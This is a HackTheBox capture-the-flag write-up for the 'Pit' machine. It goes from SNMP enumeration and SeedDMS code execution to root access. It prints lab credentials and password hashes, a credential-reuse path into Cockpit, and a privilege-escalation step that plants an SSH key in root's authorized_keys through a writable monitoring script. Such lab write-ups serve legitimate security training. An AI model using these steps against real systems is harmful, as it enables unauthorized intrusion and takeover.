Pit

CTF	HackTheBox
Category	Writeup
Created	@July 11, 2021 2:06 AM
Date	
Description	
Fields	Pentest
Level	Medium
Tags	snmp udp

Info

Credential

User	Password	Service	Note
michelle	michelle	SeedDMS	
jack		SeedDMS	
root			
seeddms	ied^ieY6xoquu	MySQL,Cockpit	

System

- hostname: `pit.htb`, `dms-pit.htb`

Web (80)

dms-pit.htb

- `/seeddms51x/seeddms/`
- Version: `5.5.15` (by the CHANGELOG)
- DB Info: `dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu"`

HTTPS (9090)

- Found hostname `pit.htb` on the page

SNMP (161/udp)

- `snmpv1.snmpwalk`

Local

- 3306/tcp MySQL 5.5.5-10.3.28-MariaDB

Path

Foothold

SNMP

1. Enumerating, walking, and, googling for so long on port `80` and `9090`, but found nothing. So I moved on to scan UDP ports and found port `161` opened, which ran a SNMP server.
2. Followed the SNMP page on hacktricks, I retrieved the user list and found username `michelle` and `root`. But beyond that, there were nothing I can found.

```
$ snmpwalk -v 1 -c public $ip NET-SNMP-EXTEND-MIB::nsExtendOutputFull
...
Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *
```

```
michelle            user_u              s0                  *
root                unconfined_u        s0-s0:c0.c1023      *
```

3. So I went on to the forum searching for some nudges, and a lot people metioned the official twitter post. The post reads:

   > To find your way to the Pit you need to WALK.

   For me, WALK seemed to mean we needed to *walk* through the MIB tree (hierarchy), and in the dump of MIBs, there was some OIDs, so I started to walking through those OIDs. The OIDs and the their meaning were showing as follow. Use this website to find the meaning.

```
# snmp/10.10.10.241.snmp
...
.1.3.6.1.2.1.1.9.1.2.1 = OID: .1.3.6.1.6.3.10.3.1.1
.1.3.6.1.2.1.1.9.1.2.2 = OID: .1.3.6.1.6.3.11.3.1.1
.1.3.6.1.2.1.1.9.1.2.3 = OID: .1.3.6.1.6.3.15.2.1.1
.1.3.6.1.2.1.1.9.1.2.4 = OID: .1.3.6.1.6.3.1         # SNMP SNMP-MIB
.1.3.6.1.2.1.1.9.1.2.5 = OID: .1.3.6.1.6.3.16.2.2.1
.1.3.6.1.2.1.1.9.1.2.6 = OID: .1.3.6.1.2.1.49        # TCP
.1.3.6.1.2.1.1.9.1.2.7 = OID: .1.3.6.1.2.1.4         # IP
.1.3.6.1.2.1.1.9.1.2.8 = OID: .1.3.6.1.2.1.50        # UDP
.1.3.6.1.2.1.1.9.1.2.9 = OID: .1.3.6.1.6.3.13.3.1.3  #
.1.3.6.1.2.1.1.9.1.2.10 = OID: .1.3.6.1.2.1.92       # NotificationLogMIB: The MIB mo
dule for logging SNMP Notifications, that is, Traps and Informs.
```

4. While looking at the forum discussion, someone pointed out that `snmpwalk` can output more detailed information, so I looked into the help info and tried to build a full output search. And it worked! It found a page in the `/var/www/html`!

   Visited `http://dms-pit.htb/seeddms51x/seeddms`, it was a SeedDMS login page. Big step!!

```
$ snmpwalk -v 1 -c public -P ud -O at -I r -Cc $ip .1
...
iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
```

SeedDMS

1. User `michelle` has the password `michelle`. It is just guessing.

2. SeedDMS had CVE-2019-12744, but some argument were changed. `folderid=8` and `/seeddms51x/data/1048576`. Change this, then got RCE. But the machine appeared to have restrict us connecting to other machines, so we can't get a easy reverse shell. : (
3. By looking around, I found DB credential in `settings.xml`.

Cockpit

1. By trying, I found the password of user `michelle` on `pit.htb:9090` was the password found in `settings.xml`: `ied^ieY6xoquu`.
2. Then I added my public key to michelle using Cockpit, and logged in. Gain user!

Root

1. `PATH` env variable looks weird.

```
PATH=/home/michelle/.local/bin:/home/michelle/bin:/home/michelle/.local/bin:/home/mic
helle/bin:/home/michelle/.local/bin:/home/michelle/bin:/usr/local/bin:/usr/bin:/usr/l
ocal/sbin:/usr/sbin
```

2. Found the machine had `nmap`, so use `nmap` to scan localhost, and it showed `3306` and `199` port were open.

```
199/tcp  open  smux            syn-ack Linux SNMP multiplexer
3306/tcp open  mysql           syn-ack MySQL 5.5.5-10.3.28-MariaDB
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.28-MariaDB
|   Thread ID: 5542
|   Capabilities flags: 63486
|   Some Capabilities: SupportsLoadDataLocal, ODBCClient, Support41Auth, ConnectWithD
atabase, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, Speaks
41ProtocolOld, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, Fo
undRows, LongColumnFlag, Speaks41ProtocolNew, SupportsAuthPlugins, SupportsMultipleRe
sults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: NqoYO^n.9oI^yi$s:ft3
|_  Auth Plugin Name: 94
```

3. While searching, I found a lot `nmap` script about MySQL were on the machine, even specifically mentioned CVE-2012-2122, so this was obviously the path to take. But

turned out to be NO.

```
/usr/share/nmap/scripts/mysql-audit.nse
/usr/share/nmap/scripts/mysql-brute.nse
/usr/share/nmap/scripts/mysql-databases.nse
/usr/share/nmap/scripts/mysql-dump-hashes.nse
/usr/share/nmap/scripts/mysql-empty-password.nse
/usr/share/nmap/scripts/mysql-enum.nse
/usr/share/nmap/scripts/mysql-info.nse
/usr/share/nmap/scripts/mysql-query.nse
/usr/share/nmap/scripts/mysql-users.nse
/usr/share/nmap/scripts/mysql-variables.nse
/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse
/usr/share/nmap/nselib/data/mysql-cis.audit
/usr/share/nmap/nselib/mysql.lua
```

4. The credential found before, `seeddms:ied^ieY6xoquu`, can be used to login to MySQL. And get the credentials.

```
MariaDB [seeddms]> select login, pwd, fullName, email from tblUsers;
+----------+----------------------------------+---------------+------------------+
| login    | pwd                              | fullName      | email            |
+----------+----------------------------------+---------------+------------------+
| admin    | 155dd275b4cb74bd1f80754b61148863 | Administrator | admin@pit.htb    |
| guest    | NULL                             | Guest User    | NULL             |
| michelle | 2345f10bb948c5665ef91f6773b3e455 | Michelle      | michelle@pit.htb |
| jack     | 682d305fdaabc156430c4c6f6f5cc65d | Jack          | jack@dms-pit.htb |
+----------+----------------------------------+---------------+------------------+
```

5. After another long long search, I found `monitor` looks really suspicios. And we had extend ACLs on `/usr/local/monitoring`. Because `michelle` was able to write and execute in `monitoring/` and NET-SNMP-EXTEND-MIB was running as root, I used it to gain root.

```
$ cat /usr/bin/monitor
#!/bin/bash

for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done
$ $ getfacl monitoring/
# file: monitoring/
# owner: root
```

```
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
```

6. Add public key to `root`. Gain root.

```
michelle$ cat << EOF > /usr/local/monitoring/check_ice.sh
echo <public key> >> /root/.ssh/authorizied_keys
EOF

local$ snmpwalk -v 1 -c public $ip NET-SNMP-EXTEND-MIB::nsExtendObjects
local$ ssh -i id_rsa root@$ip
[root@pit ~]# whoami
root
```